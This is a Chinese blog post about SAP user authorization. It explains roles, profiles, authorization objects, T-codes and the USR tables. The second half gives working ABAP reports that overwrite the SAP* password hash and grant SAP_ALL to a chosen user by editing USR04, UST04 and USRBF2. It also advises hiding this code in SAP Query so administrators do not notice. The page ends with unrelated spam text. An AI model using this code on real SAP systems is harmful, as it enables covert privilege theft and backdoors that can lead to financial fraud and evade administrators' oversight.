Junky's IT Notebook

          統計

          留言簿(8)

          積分與排名

          WebSphere Studio

          閱讀排行榜

          評論排行榜

          SAP 用戶權限

          用戶權限解剖:

          通常basis會使用PFCG做權限管理,時你保存時會產生一個系統外的prifile name,
          記得SU01時用戶有profile 和role兩欄位嗎?它們的關系如何呢?


          首先明白幾個概念.
          1.activity
          這樣說吧,我們從activity談起,activity是什么意思這個你查下
          字典也就知道了,對就是規定可做什么動作,比如說不能吸煙只能喝酒,不能多于2兩,
          不對,這是我老婆講的,SAP不是這樣子的,是只能insert, update,display什么的.
          這些東西當年德國佬是寫在tobj表中的.
          activity 也是可分activity group的.

          2.activity category &Authorization group
            Role Vs Profile
          你看看表T020就知道了,就是什么K,D, A, M什么的.

          profile是什么呢?實際上可以理解為所有的authorization data(有很多authorization group--{你可使用OBA7填寫,
          權限太細也不是好事^_^}和activity組成)的一個集合的名字,通常一個自定義的role產
          生一個profile,SAP權限控制是根據profile里的authorization data(objects)來控制的.

          role又是什么呢?role只是一個名字而已,然后將profile賦予給它, 比如你SU01建立一個
          用戶,我沒有任何role,但是加如SAP_All profile
          也是可做任何事情.
          SAP本身有很多default role & profile.


          3.最常用的PFCG->authorizations->change authorization data->
          進入后選取selection criteria 可看到所有的authorization object
          manually可手工加authorization object,比如你使用某個t-code權限出錯誤,abap使用SU53檢查就
          知道缺少哪個authorization objec,然后手工加入就可以.
          你選去authorization levels就可by account type再細分權限.
          有些甚至直接到表字段.而且你甚至可給一個object分配緩存buffer.

          那么SAP是如何做到權限控制的呢,屠夫就用到小宰一下.

          4.關于權限方面的幾個t-code.

          (一)Role(角色)相關T-code:
          PFAC         標準
          PFAC_CHG 改變
          PFAC_DEL 刪除
          PFAC_DIS 顯示
          PFAC_INS 新建
          PFAC_STR
          PFCG  創建
          ROLE_CMP 比較
          SUPC  批量建立角色profile
          SWUJ  測試
          SU03            檢測authorzation data
          SU25, SU26      檢查updated profile
          (二)建立用戶相關T-code:
          SU0  
          SU01  
          SU01D  
          SU01_NAV 
          SU05 
          SU50, Su51, SU52 
          SU1  
          SU10  批量
          SU12  批量
          SUCOMP:維護用戶公司地址
          SU2  change用戶參數
          SUIM  用戶信息系統
          用戶組
          SUGR:維護 
          SUGRD:顯示
          SUGRD_NAV:還是維護
          SUGR_NAV:還是顯示
           
          (三)關于profile&Authoraztion Data
          SU02:直接創建profile不用role
          SU20:細分Authorization Fields

          SU21(SU03):****維護Authorization Objects(TOBJ,USR12).
          對于憑證你可細分到:
          F_BKPF_BED: Accounting Document: Account Authorization for Customers
          F_BKPF_BEK: Accounting Document: Account Authorization for Vendors
          F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts
          F_BKPF_BLA: Accounting Document: Authorization for Document Types
          F_BKPF_BUK: Accounting Document: Authorization for Company Codes
          F_BKPF_BUP: Accounting Document: Authorization for Posting Periods
          F_BKPF_GSB: Accounting Document: Authorization for Business Areas
          F_BKPF_KOA: Accounting Document: Authorization for Account Types
          F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy
          然后你進去還可細分,這些個東西是save在USR12表中的. 在DB層是UTAB.

          對具體transaction code細分:    
          SU22,SU24  
          SU53:*** 就是你出錯用來檢查沒有那些authoraztion objects.
          SU56:分析authoraztion data buffers.
          SU87:用來檢查用戶改變產生的history
          SU96,SU97,SU98,SU99:干啥的?
          SUPC:批量產生role

          DB和logical層:
          SUKRI:Transaction Combinations Critical for Security
          tables:
          TOBJ : All avaiable authorzation objects.(全在此)
          USR12: 用戶級authoraztion值
          -----------------------------
          USR01:主數據
          USR02:密碼在此
          USR04:授權在此
          USR03:User address data
          USR05:User Master Parameter ID
          USR06:Additional Data per User
          USR07:Object/values of last authorization check that failed
          USR08:Table for user menu entries
          USR09:Entries for user menus (work areas)
          USR10:User master authorization profiles
          USR11:User Master Texts for Profiles (USR10)
          USR12:User master authorization values
          USR13:Short Texts for Authorizations
          USR14:Surchargeable Language Versions per User
          USR15:External User Name
          USR16:Values for Variables for User Authorizations
          USR20:Date of last user master reorganization
          USR21:Assign user name address key
          USR22:Logon data without kernel access
          USR30:Additional Information for User Menu
          USR40:Table for illegal passwords
          USR41:當前用戶
          USREFUS:
          USRBF2
          USRBF3
          UST04:User Profile在此
          UST10C: Composite profiles
          UST10S: Single profiles (角色對應的
          UST12 : Authorizations..............................

          ..............................
          如何竊取權限

          ..............................

          用戶:
          User type用戶類型(干啥用的不講):
          通常的用戶類型有
          a.dialog (就是normal user)
          b.communication
          c.system
          d.service
          e.reference.

          通常你在使用任何T-code前一定會有權限檢測的.
          AUTHORITY_CHECK:這個函數只是小檢查一下你的user有沒有,什么時候過期.
          **如果coding只要使用此函數就夠了.
          AUTHORITY_CHECK_TCODE:檢查T-code

          這倆函數是真正檢查autorization objects的.
          SUSR_USER_AUTH_FOR_OBJ_GET:
          AUTHORIZATION_DATA_READ_SELOBJ:
          ------------------------------------------
          將SAP*的密碼改成123的程序,很簡單.
          我們找到那個user logon表USR02.
          (DF52478E6FF90EEB是經過SAP加密保存在DB的,哪位老兄研究過SAP的密碼加密?)
          report zmodSAP*.
          data zUSR02 like USR02 .
          select  single * into zUSR02 from USR02
          where BNAME = 'SAP*'.
          zUSR02-Bcode = 'DF52478E6FF90EEB' .
          Update USR02 from zUSR02  .

           

          現在的問題是如何讓你那basis不發現,很簡單,將code隱藏在Query里面,就是說你做一個
          query,query是會產生code的,然后你加入此代碼,誰能想到???然后你就等你的basis去哭...

          這樣做太狠毒了.還是自己偷偷搞自己的用戶吧.
          在此你必須對權限結構非常清晰.
          權限和三個表有關系.
          a.USR04
          b.USR04
          c.USRBF2  這個表是對應到所用的authorzization objects的.
          *&---------------------------------------------------------------------*
          *& Report        : Steal SAP ALL Right                                 *
          *& Creation Date : 2004.04.01                                          *
          *& Created by    : Stone.Fu                                            *
          *& Description   : 可竊取SAP ALL權限                                    *
          *& Modified Date : 2005.11.02
          *& Description   : 將此code hide在report painter or query  code        *
          *&---------------------------------------------------------------------*

          report zrightsteal.
          data zUSR04 like USR04 . "????????work area??
          data zUST04 like USR04 .
          data zPROFS  like USR04-PROFS.
          data ZUSRBF2 like USRBF2 occurs 0 with header line.
          "USRBF2?????internal table
          ** Update Authorization table USR04.
          select  single * into zUSR04 from USR04
          where BNAME = 'ZABC2'. "SAP All 權限
          move 'C SAP_ALL' to zPROFS .
          ZUSR04-NRPRO = '14'.
          zUSR04-PROFS  = zPROFS.
          Update USR04 from zUSR04  .

          **Update User authorization masters table UST04 .
          select  single * into zUST04 from UST04
          where BNAME = 'ZABC2'.
          zUST04-PROFILE  = 'SAP_ALL'. "SAP all 權限
          Update UST04 from zUST04 .

          *?????insert
          *ZUST04-MANDT = '200'.
          *ZUST04-BNAME = 'ZABC2'.
          *ZUST04-PROFILE = 'SAP_ALL'.
          *Insert UST04 from ZUST04 .

          select *  from  USRBF2 into table ZUSRBF2
          where BNAME = 'SAP*' .
          Loop at ZUSRBF2.
          ZUSRBF2-BNAME = 'ZABC2'.
          Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
          endloop.
          INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

          自己建立一個ztest用戶不給它任何權限然后在test machine上run  報表zrightsteal.

          然后ztest就是SAP_ALL了, 然后你將code hide在SQP query的code中. ABAP code太容易被人發現.  K, 現在我碰到一個大問題了, 記帳程序被改的出了問題..

          posted on 2007-07-11 21:04 junky 閱讀(1071) 評論(0)  編輯  收藏 所屬分類: sap


          只有注冊用戶登錄后才能發表評論。


          網站導航:
           
          主站蜘蛛池模板: 玉田县| 滁州市| 施秉县| 榆中县| 安阳市| 青海省| 安溪县| 新巴尔虎左旗| 乡城县| 西充县| 夏邑县| 四平市| 遵化市| 洪江市| 虹口区| 威信县| 句容市| 福泉市| 云和县| 安康市| 庐江县| 宾阳县| 乌鲁木齐县| 个旧市| 永靖县| 彰武县| 绥芬河市| 淮南市| 博兴县| 沾化县| 潮安县| 大足县| 雅安市| 龙川县| 灵璧县| 永年县| 思茅市| 白城市| 临夏市| 云阳县| 海伦市|